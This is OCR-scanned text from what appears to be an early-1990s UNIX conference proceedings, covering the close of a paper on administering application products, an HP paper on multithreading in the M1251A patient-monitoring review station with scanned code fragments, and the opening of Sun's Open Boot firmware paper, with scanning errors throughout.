files in jete, is strongly discouraged, but there may be times when the use of file created for the product is
inescapable: in which case the use of /usr/etc is to be preferred.

We realize that this may lead to there being two versions of a product, one to run in isolated systems, and
another for networked systems. Our opinion is that the increase in complexity to create and control the necessary
#ifdef 's will be more that compensated by the recommendations of grateful system administrators.

5 Open Issues

The previous discussion has alluded to a number of solutions, but we are aware that there are some implicit
limitations. To improve the situation, there are some changes we would like to see in the UNIX environment itself.
We mention these here as being "in search of a solution", and look forward to seeing discussion ensue within the
UNIX conununity.

1. We see the need for the system administrator having to be involved in adding items to the boot scripts in
support of particular application products as being one of the major violations of our concept of modularization.
The product manager has to be able to cause the start-up of server daemons, watchdog and janitorial services,
etc., whenever the system is restarted. With SVID-eompliant systems, this can be done (quite expensively)
by having a "meta-watchdog" scheduled by cron each minute, say, to check that these processes arc present,
and starting them if th~y are not.

As a possible solution. it is only a step from the above situation to add an entry type to crontab with the
meaning "nm once at cron initialization time." According to the SVID [SVI86] a crontab entry with zeroes
(or for that matter, asterisks) in every position is not currently pemlitted - this could be given the above
meaning.

This solution has all the desirable properties: the scheduled command would run under the product userid, with
the corresponding environment. errors or output would be mailed to that userid, and changes in the scheduled
command, or any programs or scripts invoked, could be changed or updated by the product manager with no
reference to the system adnlinistrator.

2. We have several times recommended the use of the setuid facility, as this gives access control to the product
whenever it needs it. However, in some versions of certain network file systems, there is an option to inhibit
the effectiveness of the setuid bit at a client when the file system is mounted from the client. We understand
the desire to do this when setuid programs are owned by root, as this has all the hallmarks of place an intlllder
could start an attack.

The same considerations do not apply with the same force for directories not owned by "root", and when the
setuid programs are owned by nonprivileged llserid's. In particular, home directories should not be given this
protection, as it removes from the average user the advantages of being able to access the system from arbitrary
locations. In some cases, setgid might be a less comfortable alternative. but setuid is an important facility of
each UNIX system and cannot do any hann if it is used carefully.

3. Our use of a product userid and the corresponding home directory assumes reasonably easy detemlination of
the home directory of the product (sec discussion of rc. init above). Unfortunately. the "standard script
interchange shell" is still the Bourne shell, in which the construct "'prodid does not exist.

With the release of System V. Release 4, the ksh is becoming the default shell - we would like to see this
default be applied retroactively to all current commercially available UNIX variants. The cost of this is nlinimal,
and the advantages of being able to assume the universal availability of a more capable shell are enomlOUS.

4. The System V Interface Definition [SVI86]. like the administration issues discussed here, needs to step into the
90's, and recognize the move towards larger, networked systems. Library routines such as gethostbyname
and getpwent. which in a networked environment provide access to network data bases, rather than simply
to local jete files. need to become standardized. PI003 should also pay attention to this area.
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6 Related Work

Wagner, Haddon

We know of no related work which addresses the features that application products should have so as to relate
to the system envirolUuent in the ways that we have recommended above. Installation procedures are addressed by
the System Vt Release 4 packaging tools [USL90]t which are used firstly to build uapplication packages", then to
install such packagest and ultimately t to remove them from a system.

An advantage of this standard packaging is that it provides two important lists. The first of theset called pkginfo
(based on the prototype file supplied by the packager), contains the names of the componentst their modes and
ownershipt and where they will be placed. The secondt called dependt specifies the dependencies of this package
on earlier versions and the other products. This also enables clean removal of the same components. The standard
packaging also structures the installation scriptst thus making it easier for a system administrator to detennine the
effects of executing them.

These packaging tools support a concept of locatable components, which are installed relative to an arbitrary directory
(as compared to components that are installed in places specified by absolute path names). They also support the
owner userid and groupid for components being supplied by environment variablest which may be set by responses to
queries from a Urequest script". Thus, these tools can be used to perform installations into product home directories
as we reconnnendt although this would not be the most natmal way to use them.

The SVR4 packaging tools provide no assistance with identifying "root" privilege-related risks. The tools execute
under the userid "rootU, and thus have the capability ofplacing any kind ofcomponent anywheret with any ownershipt
as specified by the packager. From what we have said previously, it is obvious that we would prefer to see the
necessary use of "root" privilege be highlighted in the package description, rather than being the default.

7 Conclusions

Designing and/or porting application software to UNIX systems is not a trivial task if this software is to allow
for a modularized and effective product management strategy. The issues are in designating the resourcest supporting
distributed environments, providing the overall system security, and avoiding the use of super user privilege.

We have shown that many potential pitfalls can be circumvented by using strategies that are effective even when
the application product was not specifically designed to cooperate. Some problems, howevert will not yieldt and can
only be solved by the manufacturers of application software recognizing the needs of the installation. Hence, we
proposed a list of requirements which application products should fulfill to be more easily administered. The most
strategically important of these is that application products should asslUne that they have a product userid assigned.
We propose this list as a basis for the future evolution of a consensus by the UNIX community on these issues.
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Applying Threads
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Abstract

Multithreading components of a software system can increase performance, but it can also increase
complexity. At Hewlett-Packard, we have developed a workstation based medical product, called the
Monitoring Full Disclosure Review Station, or M125IA, that uses multithreading to achieve performance
requirements. The Ml25lA continuously acquires physiological waveforms and arrhythmia information for
presentation to a clinician in an intensive care unit. This paper describes the benefits the Ml25lA gains
from multithreading, identifies the problems the development team had with multithreading, and explains
how those problems were resolved.

1. Introduction

Threads, or lightweight tasks within a single process, are a commonly used model for concurrent
programming. Examples of other concurrent models are multiprocess concurrency (heavyweight), and
coroutines. Unlike multiple heavyweight processes, threads share an address space and the overhead for
creating, synchronizing and scheduling threads is low [4]. Coroutine programmers must explicitly choose the
next coroutine to run at a synchronization point, whereas thread packages separate the abstractions of
synchronization and scheduling. Threads are also able to deal with asynchronous activities [4]. User threads
packages have been available for many years, although they are just recently becoming available in popular
commercial operating systems such as OS/2 and OSF-l.

Multithreading an application can increase application performance in several ways. The potential for gain
is dependent upon the underlying threads package that is used. There are many different types of threads
packages, such as kernel-supported user threads, user-mode threads on virtual processors, and user-mode
threads in a single process [2]. Even if one is using a simple threads package, there are several advantages
to multithreading. A server that spawns a thread to process each incoming request can prioritize the
execution of certain threads over others. Threading also enables the implementation of background tasks
and asynchronous interprocess communications. Additional performance gains can be realized if the threads
package allows a thread to block on I/O without blocking the entire heavyweight process. When one
thread blocks on I/O, it is desirable to allow another thread to use the CPU. The highest level of
threading performance can be attained in a multiprocessor system with kernel supported threads. In this
configuration, several threads belonging to a single process can run concurrently on different processors,
resulting in true parallel execution. Without multithreading, adding processors to a machine can increase
total process throughput, but it does not speed up any individual process. This is why multithreading will
become even more important as multiprocessor machines grow in availability and move into the desktop
arena.

With the performance increases that threads offer coupled with the growing availability of threads packages,
one would expect that multithreaded applications would quickly become prevalent. However, developing
concurrent applications can be difficult and the level of difficulty is inhibiting the spread of multithreaded
programs [5]. Serialization, mutual exclusion and deadlock are problems that are well known to
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multitasking kernel designers. Multithreading, however, moves these problems into the domain of the
application programmer and causes these problems to emerge in new ways.

This paper describes the gains the MI25lA achieved through multithreading and the problems that had to
be solved. Section 2 begins by introducing the M125IA, and Extended-C+ + which is the language we used
to support concurrency. Section 3 describes the threaded architecture of the MI25IA, explains the
advantages gained from multithreading, and discusses why threading was used instead of other techniques.
Section 4 examines the problems we encountered with multithreading, why we had those problems, and how
the problems were resolved. Section 5 concludes the paper with a look to future plans for concurrency in
the M125IA.

2. Background

2.1 M1251A

The MI25lA enables an intensive care unit clinician to review a 24 hour snapshot of a patient's
physiological waveforms. This window of data is continually moving forward in time, with the new data
replacing the old. Physiological waves can be ECG, pressure or respiratory. Arrhythmia (irregular
heartbeat) information and other wave specific data are also acquired and can be viewed with the waves. A
clinician can page through screens of wave data, select strips to look at more closely, and print out
hardcopy images of strips or continuous waves. Using the Ml25IA, the clinician can determine efficacy of
drug regimens for cardiac disease patients, as well as make decisions for discharge/transfer based on
evaluation of cardiac stability. Performance is an issue because the review applications run concurrently
with data storage. The product requirements are that the system handle the desired storage load, and
respond quickly to user requests. The current data load is 16 125Hz waves (1 byte/sample), as well as
arrhythmia, time, instrument status and other ancillary data. We established performance benchmarks for
the various M1251A functions to make our responsiveness evaluation objective. The most important
benchmark states that it must take less than 3 seconds to bring up a screen of full disclosure waveforms.
This is challenging considering the amount of data that must be retrieved from the database, formatted and
rendered on the screen while data is being stored simultaneously.

The MI25lA runs on an HP 425E workstation, running HP-UX 8.0. It is connected by an Ethernet LAN to
a gateway to the patient monitoring network. The patient monitoring network refers to a network of
bedside monitoring devices in a hospital care unit. Most of the code for the Ml25lA is written in C. The
user interface is developed with the OSF/Motif graphical user interface. Procedures that must use
threading or RPC features are compiled in Extended-C+ +, and they can be called from the C routines.
Extended-C + + routines can also call C routines. The next section gives a brief description of Extended­
C++.

2.2 Extended-C++
Extended-C+ + is a version of C++ that supports remote procedure call, threads and exception handling.
The language was developed for another HP product, CareVue 9000. Extended-C+ + consists of a language
component which is a superset of the C++ language and an extensive run-time environment [8].

Extended-C+ + supports concurrent programming by providing primitives for creating threads,
synchronizing thread execution and guaranteeing mutual exclusion. These primitives include condition
variables and critical regions. Threads can be spawned in one of three ways:

1. An explicit call to the threadit operator with the name of a threadable function.

2. When a process receives an RPC request message, a thread is implicitly spawned to execute the
procedure that has been invoked.

3. Synchronous signal handlers can be defined, so that a thread is implicitly spawned to execute the
signal handler.
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Extended-C+ + implements threads in HP-UX user-space on top of a standard HP-UX kernel. Threads
are preemptively scheduled, meaning that if a thread does not block because it is sleeping, waiting for I/O,
or waiting to enter a critical region, a periodic involuntary preemption will force a context switch. Thread
prioritization is also supported, so that only the runnable threads with the highest priority will be scheduled
for execution. The Extended-C+ + implementation includes these other features:

• no busy waiting

• alternative implementations of the HP-UX process-blocking kernel calls that block only the calling
thread

• link-time support for identifying non-reentrant object files so that unmodified versions of code that is
not "thread smart" (e.g., maUoc) can be safely used

Finally, Extended-C+ + imposes no limits on the size of a thread stack (other than the limit that HP-UX
imposes on a process's stack segment size) and does not restrict the number of threads that a process can
have. Extended-C+ + does not have an "alert" facility for interrupting a thread computation as described in
McJones [6], and Birrell [1].

Several tools are also available to facilitate concurrent programming in Extended-C + +. Ecmonitor is an
RPC/threads monitor which provides current information about the operation of threads and RPC within a
process. Ecdb+ + is a threads level debugger, which allows a user to examine thread stacks.

Extended-C+ + was chosen because it supported RPC and preemptively scheduled threads on HP-UX. The
RPC bulk transfer rate was acceptable C400 kbytes/sec) and the language was used successfully for
development of the CareVue 9000. We also liked the prospect of having in-house support for our
development efforts.

3. The M125lA Multithreaded Architecture and Performance

The workstation component of the M12S1A is currently architected as five processes: a database server, a
data acquisition server, an application suite process, a process that handles system startup and shutdown
and a support/configuration process. A graphical representation of the architecture and communication
paths is provided in Figure 1. The startup and configuration processes have been omitted from this figure.
The M1251A processes communicate through remote procedure call (RPC). Although the first release of
the M1251A is on a single workstation, RPC was used as the interprocess communication method because
it provides the foundation for the product to run as a distributed system in the future. Ease of use and
software availability were also reasons why we selected RPC as our interprocess communication
mechanism. The following list details the primary uses of RPC and threads within the system. This should
give the reader both an understanding of the dynamics of the system, and an indication of how threading is
used.

1. Data acquisition reads the socket that collects messages from the gateway, packages the data and
spawns a thread to issue the store for each class of data. This thread is responsible for issuing a
"store" RPC to the database.

2. Data acquisition receives "wave connect" and "wave disconnect" RPC's from the database. This is
done in response to user selections that change the set of waves being monitored. The list of
monitored waves is stored in the database. A thread is implicitly spawned by data acquisition to
process these requests.

3. The database receives "store" RPC's from data acquisition. Each RPC is handled by a database
thread.

4. The database receives "get" and "modify" RPC's from the application suite process. Each RPC is
handled by a database thread.

5. The application suite explicitly spawns threads to process hardcopy report requests.
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6. The startup process spawns the database, data acquisition and application suite heavyweight processes.
Each of these processes is responsible for sending an RPC back to the startup process when they are
successfully initialized. If the startup process receives a death of child signal, it sends RPC's to the
remaining processes telling them to shut themselves down.

Multithreading increases system performance in three major ways. Each of these are explained below.

1. Server responsiveness is increased.

2. Background tasks are enabled.

3. Asynchronous RPC's are enabled.

The data acquisition process continually sends "store" queries to the database via RPC. At the same time,
the applications may be sending "get" queries to the database, also via RPC. Without multithreading, the
database would be forced to process requests sequentially, and an application "get" query could get stuck
behind a long chain of data acquisition "store" queries. This could result in unacceptable application
responsiveness. With multithreading, the requests can run concurrently, and the database can favor certain
requests over others. This can be accomplished with thread priorities or other programming techniques.
One such technique that is used in the database is "store" thread limitation. The database limits the number
of "store" threads executing concurrently to reduce competition for any application "get" threads that are
spawned. This technique reduces tlget" query latency. Multithreading also allows short requests to get in
and out while a long request is getting processed. An "admit patient" query takes several seconds, but a
smaller "get wave data" query can get in and out while the admit is being handled. This is desirable when
we consider that a "get" query normally takes about 100-200 milliseconds and an "admit" query may take up
to six seconds. It is important to note, however, that although query latency can be reduced by
multithreading, database throughput, or number of queries executed per unit time, may actually be
decreased due to the overhead of managing threads. This is because the 425E is a uniprocessor machine, so
the parallelism that we achieve is really time-sliced virtual parallelism [3].

Multithreading can also be used to implement background tasks. When a clinician runs a hardcopy report
on M125IA, it is desirable to run the report in the background, so other useful work can be done while the
report is running. Threading makes this possible. When the user presses the "Print Report" button on the
application window, a background thread is spawned to process the report, and control is immediately
returned to the user.

Finally, multithreading is used to provide asynchronous RPC's. As stated earlier, the data acquisition
process is continually sending "store" queries to the database. It is undesirable to require data acquisition
to wait for a round trip tlstore" query RPC to complete. It is preferable to have data acquisition spawn a
thread to send the query. Then data acquisition can continue to process incoming gateway data while the
thread manages the RPC to the database. At any given time, there may be several threads all trying to
issue stores to the database. This model allows data acquisition to be responsive to the gateway, even in
times of heavy load. The disadvantage of this scheme is that any database "store" query failures will not be
handled synchronously. It would be more difficult to expand data acquisition to intelligently handle database
errors if we desired this capability in the future.

A multithreaded architecture was selected for the M1251A to take advantage of these performance gains.
Other methods were considered by the development team, and we explain here why these choices were
rejected. Our other choices were:

1. Remote procedure call access to the database with no threading. Sequential processing of queries.

2. Database implemented as library and linked with each application. Resource mediation implemented
through file based locks.

3. Remote procedure call access to the database, heavyweight process spawned to handle each query, or
session.

o
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Heavyweight concurrency was rejected because the context switching penalties for threads are typically
much lower than for heavyweight processes. Memory and swap space utilization also grow as the number of
heavyweight processes grow. The reason for rejecting sequentially processed queries was explained in the
previous section. We wanted to give priorities to certain requests and we wanted the capability to preempt
long queries (admits) to process a short query. Finally, we rejected the idea of database libraries because
access to locks and system tables would have to be mediated through the file system. We felt that disk
based access to locks and system tables would prove to be a bottleneck. Our serverized database can cache
system tables and lock tables in memory for fast access.

4. Problems and solutions
In addition to considering performance gains, it is instructive to consider the problems associated with
multithreading. An analysis of these problems should make it clear as to why concurrent programming can
be difficult. The most serious problems we faced in multithreading the M1251A were:

1. serialization

2. enforcing mutual exclusion

3. deadlock

4.1 Serialization

Thread scheduling is nondeterministic in Extended-C + +, which implies that there is no guarantee that
threads will be scheduled in the order they are spawned. Several objects in the M1251A database are
expected to be in chronological order, so it was clear that either a serialization mechanism or a database
insert mechanism was needed. We decided to implement a serialization algorithm in the database client
code, which is linked with the data acquisition program. This method was selected over database insertion
in order to minimize database work and maintain application responsiveness. The following section
describes the evolution of our serialization algorithm. .

Our first serialization algorithm required data acquisition to acquire a lock for each unique {data-type, bed}
combination referred to in the "store" query. These locks had to be acquired before the "store" thread
could be spawned. A "store" query may contain several entries, where each entry can be thought of as a
{data-type, bed, data-buffer} triple. This bundling of entries into one query minimizes the number of RPC's
that must be sent. In order to avoid deadlock, we mandated that only one "store" query thread could wait
on a serialization lock at a time. This method was chosen as a starting point because of its simplicity.
When data acquisition failed to acquire a lock due to a serialization lock conflict, the main data acquisition
thread would block on the lock, to allow the existing "store" threads to execute. Eventually, the thread
holding the lock would be scheduled and the lock would be released, allowing the store to proceed and the
main thread to continue. This was somewhat dangerous, as the main data acquisition thread is responsible
for processing the incoming data from the gateway. If the incoming data is ignored for too long, the buffer
can overflow and data can be lost. We expected that locks would be released quickly and data acquisition
would not spend a great deal of time blocking. However, in times of heavy load, data acquisition blocked
excessively and incoming data was lost.

The serialization scheme was redesigned to allow "lightweight" blocking on serialization locks. In this
context, lightweight is meant to indicate that the main thread is not blocked. This new algorithm divides the
input data types into serialization classes. Each store query can only contain entries from one class (to avoid
deadlock) and the algorithm ensures that threads within a class are processed sequentially in the order they
are spawned. Note that it is tricky to set the size of the classes appropriately. If the classes are small, then
lock conflicts will be minimized, but the size of each store query will be smaller and there will be more
RPC's. If the classes are large, RPC's will be minimized, but there will be more lock conflicts. This
tradeoff could be eliminated if we implemented a partial order algorithm to avoid deadlock.

We will now look at the lightweight serialization algorithm more closely. When a thread, T1, in class X, is
spawned, it is given a pair of condition variables, (X.CI, X.C2). TI must wait on X.C1 before starting, and
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signal X.C2 when the store is complete. The next thread, TI, that is spawned in this class is ·given X.C2 to
wait for and X.C3 to signal. In this way, 1'2 is blocked until T1 finishes and signals X.C2. AU the threads
within a class are chained together in this manner and serialization is ensured, without requiring the main
thread to block. This algorithm performed very well and went into the final product. The algorithm is
outlined in Code Fragment 1. The point to be made here is that there are several different ways to achieve
serialization and the algorithm may have to be customized to fit the dynamics of the system.

4.2 Mutual exclusion

Multithreading a program requires the application programmer to identify and protect all the resources that
can be corrupted by concurrent access. In addition to application specific data, there are several Unixl

specific process values that can cause problems, such as stream position pointers in file descriptors and
current working directory values (6). Our largest mutual exclusion problem for the database was ensuring
atomic reads and writes in the face of concurrent "store" queries and "get" queries. To address this
problem, an object locking framework was developed using Extended-C++ critical regions. The critical
regions guaranteed atomic "test and set" of locks. The use of critical regions can be seen in the simplified
code fragments for DbLock and DbUnlock. (Code Fragments 2 and 3). All queries are responsible for
locking and unlocking the objects that they deal with.

We had one problem with mutual exclusion which was the result of a bug in the database code. The bug
was difficult to detect because it was manifested as an infrequently occurring race condition. The bed table
object contains demographic and status information for all patients on the patient monitoring network. The
bed table object is modified on several occasions. When the list of available waves changes for a bed, the
database will receive an "instrument status message" describing the new list of available waves. The
database is responsible for modifying the bed table object to reflect the new state. The bed table is also
modified when a patient is discharged from the M125IA. In this case the bed table entry for that patient is
modified to show that the patient is no longer admitted to the M1251A system. At the beginning of the
discharge query, the bed table entry for the given patient was not locked, due to a programming error.
·When the instrument status message was processed concurrently with a discharge, the bed table entry was
unprotected. This allowed the following chain of events to occur:

1. Instrument status process thread (T1) locks bed table object.

2. T1 reads bed table object.

3. Tl gets preempted.

4. Discharge thread (1'2) gets scheduled. Reads bed table entry without locking. This is possible because
locks are advisory.

5. 1'2 modifies the bed table entry to show that patient is no longer admitted to M125IA.

6. 1'2 terminates.

7. Tl is rescheduled and modifies the bed table entry, overwriting changes made by discharge thread. It
now appears that the patient is still admitted, although all the patient data is gone.

This bug was fIXed by putting the appropriate lock constructs around the "discharge" thread. Also, in the
next version of the database, locks will be mandatory, instead of advi~ory.

4.3 Deadlock
Implementing mutual exclusion through locking may protect threads from each other but it can also
introduce problems with deadlock. Any locking scheme that is implemented must employ either deadlock

1. UNIX is a registered trademark of AT&T.
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prevention, deadlock avoidance or deadlock detection [9]. Our object locking strategy uses a deadlock
prevention mechanism; there is never any hold and wait. This section describes some of the problems we
had with deadlock.

During development, we would typically set up a database server on one workstation and allow applications
to connect to it remotely over the network. Sometimes, a client would acquire a lock and crash before the
lock could be unlocked. The next client that tried to access the locked object would hang forever. This was
not a problem in the product because there is only one application running at a time and our execution
policy states that if any Ml25lA process dies, the system is restarted. In the future, when we add support
for a distributed configuration, we will handle client death gracefully.

We had one serious deadlock problem which really demonstrates how insidious deadlock problems can be.
Deadlocks are typically easy to debug because they leave the evidence intact [lJ. However, the problem that
we ran into was complex enough to make reconstruction difficult. A physiological wave can disappear from
the patient monitoring network if the wave is unassigned on the bedside monitor, or if the transducer is
simply pulled out. This results in the circulation of a new instrument status message on the patient
monitoring network. Data acquisition receives this new instrument status message from the gateway, and
sends it to the database. When the database processes this message, it detects the disappearance of a
monitored wave, and issues a "wave disconnect" message to data acquisition. The "wave disconnect" RPC is
synchronous, which means the database waits for data acquisition to process the disconnect. Data
acquisition then passes the disconnect request on to the gateway, and flushes all the buffered information
for the wave. This flush results in several database stores. After the flushes, the disconnect is finished and
the database thread processing the instrument status store can finish its job and terminate. The problem
arose when another instrument status message appeared on the network soon after the first one. It was then
possible for data acquisition to send the new instrument status message to the database after the fast one,
but before the flush. This resulted in a problem because we were using the original serialization algorithm,
which does not allow new store threads to be created when there is a thread blocked on a serialization lock.
The second instrument status store blocks on the serialization lock set by the first instrument status store.
When a data acquisition thread processes the disconnect on behalf of the first instrument store, the flush
stores will also be forced to wait, because of the existence of a serialization lock conflict. Since the flush
could not complete, the store of the first instrument status message could not complete. No more stores
would be allowed to take place in data acquisition. This situation was corrected at first by changing the
disconnect strategy, and later by the new "lightweight" serialization algorithm. This problem is diagrammed
in Figure 2.

5. Future directions

For subsequent releases, the M1251A will be required to handle a heavier input data load and multi-user
applications will be supported. To manage this load, we will have to increase system performance. One
way in which we can improve performance is to increase our level of concurrency. Because we didn't design
for parallelism from the beginning, it was difficult to make certain modules reentrant. A thread executing in
a nonreentrant module cannot be preempted which can delay preemption of a low priority thread. In the
future, we may want to make some of our nonreentrant modules "thread-safe" to increase our performance.
Another way we can possibly increase performance is to use finer grained object locking to minimize
blocking, although reducing the grain of locks increases overhead [7]. We may also try to implement a
lightweight version of the read and write system calls in the future. This would allow a thread to block on
the system call, instead of forcing the entire process to block. Lightweight read and write can be
implemented with the Extended-C++ library function "lselect", which is a lightweight version of the Unix
select call. Lightweight I/O blocking will come for free if we move to a kernel supported threads package,
such as the threads package available with OSF-1.

In the future, our threaded architecture will allow us to take full advantage of a multiprocessor machine. Of
course, the nature of the optimization efforts will change when moving to a multiprocessor machine. It
becomes important to keep the number of active threads high, so the target machine is not underutilized
[lJ. In this case, we may want to use techniques such as pipelining [1], in order to increase the number of
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active threads. The nature of our optimization will also change if we move to an operating system that
supports both user-mode threads and kernel level threads. An example of an operating that makes this
distinction is Sun's Solaris 2.0. In such an environment, if an application handled multiple windows, it would
be desirable to implement these windows as user-mode threads, to avoid the penalty of kernel supported
context switching every time the user moved the mouse to a different window [3]. However, kernel level
threads can be used to overlap I/O and CPU execution and also take advantage of the multiprocessor
architecture.

6. Results and conclusion

Ml251A met the stated performance requirements for first release. Our customers have also found the
performance acceptable at our clinical sites.

Threads programming can substantially increase program performance, but the added complexity can make
development difficult. Problems with mutual exclusion, deadlock, and serialization can occur as we have
seen in the development of the Ml25IA. Multithreaded programming is much easier when concurrency is
designed in from the start. It is extremely helpful to have a threads debugger and a threads performance
analysis tool. We believe that choosing a multithreaded architecture was key to the success of the Ml25lA
project.
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/***********************.*••••••*********************.*******•••**.******••
Code Fragment 1
••*.*****.****••••••••••••••••******************************.*******.*.*.*
DbStore and DbThreadStore -

Part of database client library that is linked with database client.
DbStore acquires a condition variable to
wait on and one to signal before spawning a thread to handle the RPC
store. The condition variables ensure serialization of stores within
a store class.

**.*••**••••*••••*••***.*•••••***.****************.*******•••••••••••*•••••/
int DbStore (DbStoreFormat storePackage)

{
static condition conditionVarArray[](];
int waitlndex, releaseIndex, classlndex;

/. get serialization class • /
classlndex = DbGetSerializationClassCode (storePackage.packetType);

/. get indices of condition vars to wait on and signal • /
waitlndex = DbGetWaitIndexIntoCondVarArray (ciassIndex);
releaseIndex = DbGetReleaselndexlntoCondVarArray(c1asslndex);

/* create a thread to do the store */
threadit DbThreadStore (storePackage, c1asslndex, waitIlldex, releaseIndex);

}

void DbThreadStore (DbStoreFormat storePackage, int c1assIndex,
int waitIndex, int releaseIndex) tbreadable

{

/. wait on start condition variable */
conditionVarArray[classIndex][waitlndcx].waitO;

/* RPC to Db, dbRpcPtr is a "remotable pointer" */
dbRpcPtr-> rDbStore (storePackage);

/* signal done condition variable */
conditionVarArray[classIndex][releaseIndex].notilYO;

}
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/ ••••••••••••••••*.******••*.***.*••**••*****•••*****•••••••**.*••*••*•••••
Code Fragment 2
•••••***•••••••••***.*****••***.***.**********************.***************
DbLock -

Processes list of lock requests on the server side. If one lock cannot
be acquired, then all locks acquired must be unlocked. The procedure
then waits for someone to unlock, and tries to acquire all requested
locks again. Since there is no hold and wait, deadlock is prevented.

••*.**••***•••••••••*.*••••••••••••********.***.***.**••••••••••••••*.*••••/
static DbLockStruct DbLockTable[DbNumLockEntries][DbNumLocksPerEntry];
static int 10ckMutex;
int DbLock (int numLockRequests, DbClientLockStruct "'lockRequestList)
{

int 10ckId, 10ckStatus, count, 10ckTableIndex, objld;

/. compute lock id for this request • /
10ckId = DbGetUniqueldO;

/* loop through client requests in critical region, check for conflicts */
region (&lockMutex) {

count=O;
while (count < numLockRequests) {
/. get object id •/
objId = 10ckRequestList[count].objId;

/* find index in lock table for this object =1</

10ckTabieIndex = DbGetLockTablelndex(objld);

/. check to see if lock can go through '" /
10ckStatus = DbExamineLockRequest (&lockRequestList[count],

10ckTableIndex);
/* switch on return code from DbExamineLockRequest */
switch (lockStatus) {
case (DbError): /* error condition • /

/* undo all locks that succeeded for this request so far */
DbUndoAllLocksForThisRequest (lockRequestList, count, 10ckId);
return (DbError); /* note, region will be released here */

case (1): /. object already locked, and want to wait for it */
/* undo all locks that succeeded for this request so far */
DbUndoAllLocksForThisRequest (lockRequestList, count, 10ckId);
release; /* release critical region, block until trigger */
count = 0;
break;

case (0): /* object is not locked, go ahead and lock */
checkReturn = DbLockObject (lockld, &lockRequestList[count],

DbLockTable[lockTableIndex));
count + +;
break;

} /* switch */
} /* end while */

} /* end critical region • /
return (lockld);

}
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/ ••••••••••••••••••••••••••••••••••••••*.**.**•••••**••*•••••••••••••••*•••
Code Fragment 3
••••••••••••••••••••••••••••••••••••••*•••••*****••***.****•••••••••*••*••

DbUnlock -
Unlocks all objects associated with given 10ckId.
DbLock uses same critical region variable.

••••••••••••••••••••••••••••••••••••••••••**••***••••••*.**••••••••••••••*./

static DbLockStruct DbLockTable[DbNumLockEntries][DbNumLocksPerEntry);
static int lockMutex;
iot DbUnlock (int lockId)
{
/. declare local variables • /
int found, objCouot, lockCount;

/. initialization • /
objCount = 0;

/. put critical region around this section • /
region (&lockMutex) {

/. loop through elements in lock table •/
found = FALSE;
while (ObjCOUDt < DbNumLockEntries) {

lockCount = 0;
while (lockCount < DbNumLocksPerEntry) {

if (DbLockTable[objCount][lockCount).lockld = = lockld) {
DbUnlockObj (DbLockTablc[objCount][lockCount].objId, lockId);
found = TRUE;

}
lockCount + +;

}
objCount+ +;

}

/* if found lock to unlock, then trigger any waiting threads • /
if (found = = TRUE)

trigger;
} /. end region */

return (DbDone);
}
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Open Boot Firmware

Mitch Bradley
Sun Microsystems Computer Corporation

Abstract
Open Boot is a software architecture for the firmware that controls a computer before the operating system has

begun execution. The Open Boot firmware design is based on a machine-independent interactive programming lan­
guage (Forth). Open Boot includes features for self-identifying plug-in devices with device-resident boot drivers, sup­
port for disk, tape, and network booting, hardware configuration reporting, and debugging tools for hardware, soft­
ware, and firmware.

Open Boot is the basis for the device identification and booting capabilities of SBus. An IEEE standards effort
for boot firmware based on Open Boot is underway. The Futurebus+ and VME-D bus standards include support for
Open Boot.

1. Firmware
Typically, firmware is stored in read-only memory (ROM) or programmable read-only memory (PROM), so

that it may be executed immediately after the computer is turned on. Firmware's mainjobs are to test the machine hard­
ware and to boot (load and execute) the operating system, usually from a mass storage device or a network. The oper­
ating system may also require other services from firmware. Finally, firmware often provides some support for inter­
active debugging ofhardware and software. In addition to the main operating system, other programs such as interme­
diate boot programs and diagnostic operating systems may utilize firmware services.

1.1. Firmware Problems
In an open systems environment, the job of loading the operating system is complicated by the possibility of

user-installed I/O devices. If the firmware developer knows in advance the complete list of I/O devices suitable for
loading the operating system, then the firmware may include drivers for those devices. H, however, new boot devices
may be added to the system later, then the firmware must have a way to acquire boot drivers for those devices. The
obvious solution of shipping a complete set of system firmware with each new device quickly becomes impractical as
the number of devices and systems grows, since the magnitude of the problem is related to the number of different
devices multiplied by the number of different systems.

A similar situation applies to the devices used for displaying messages showing the progress of the testing and
booting processes. The firmware must have a driver for each device that is suitable for message display. One solution
is to require every display device to emulate some "baseline" device. This solution works, but the constraints that it
imposes on hardware can increase costs and stifle innovation.

Hardware innovation can proceed more rapidly when a single "generic" version of the operating system can
work on several different computers within the same "family". This is easy if the different computers "look" exactly
the same to the software, but it is rare to find two different computers that look exactly the same to the operating sys­
tem. However, since the firmware can be considered in some sense to be part of the hardware, the firmware can some­
times make the operating system's task ofautoconfiguration (adapting to hardware differences) easier, either by "hid­
ing" the differences, or by reporting the hardware characteristics so the operating system doesn't have to "guess".
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Since firmware is rarely interesting to end users, firmware has often been treated as an "afterthought" or a "nec­
essary evil", with little attention paid to its architecture and design.

1.2. Existing Solutions
Historically, firmware has been proprietary; computer manufacturers have developed custom firmware for their

own machines. The functionality ofexisting firmware runs the gamut from simple ROM monitors to complete system
diagnostic and control environments, but there is little consistency among different manufacturers' firmware. In this
respect, the current firmware situation is analogous to the operating system situation that existed before the Unix op­
erating system became popular as a multi-vendor standard.

Several companies have solved the boot driver problem. For example, NuBus cards for Apple Macintosh com­
puters may contain drivers for those cards, encoded in 68000 machine code. QBus cards may contain drivers encoded
in PDP-II machine language. Cards for the PC-AT bus sometimes contain BIOS drivers.

The problem with those solutions is that the drivers are machine-dependent. Since the drivers are encoded in
machine language, they may be used only on CPUs that execute or emulate the particular instruction set. This is ac­
ceptable in a "one bus, one manufacturer, one CPU type" environment, but it has obvious problems for multi-vendor,
multi-CPU-type buses.

One version of the NuBus specification attempted to solve this problem. It specified a machine-independent
byte-coded language named Diagnostic Engine Language for boot driver use. Unfortunately, this never caught on, and
most NuBus cards today have drivers stored as 68000 machine language.

2. Open Boot
The Open Boot firmware architecture solves those problems, additionally providing a fully-programmable en­

vironment for hardware and software debugging.

2.1. Features
• Machine Independence

Although Open Boot was first delivered on SPARCIM machines, its design is processor-independent, and ev­
ery effort was made to eliminate knowledge of machine details from the specification of its interfaces.

• Plug-in Device Drivers
New devices may be added to an Open Boot system and used for booting or message display without modi­
fying the main Open Boot system ROM. Each such device has its own plug-in driver, usually located in a
ROM on the device itself. Thus, the set of I/O devices supported by a particular system may evolve, without
requiring changes or upgrades to the system ROM.

• FCode
Plug-in drivers are written in a machine-independent interpreted language called FCode. Since FCode is ma­
chine-independent, the same device and driver can be used on machines with different CPU instruction sets.
Each Open Boot system ROM contains an FCode interpreter. FCode is based upon an existing programming
language - Forth.

• Device Tree
The set of devices attached to the system, including permanently-installed devices and plug-in devices, is de­
